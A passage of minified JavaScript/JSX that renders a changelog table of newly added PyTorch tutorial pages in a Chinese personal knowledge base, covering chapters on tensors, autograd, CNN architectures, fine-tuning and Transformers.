20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e00\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:07"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:07"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/2 \u76ee\u6807\u68c0\u6d4b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/3 \u56fe\u50cf\u5206\u5272"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 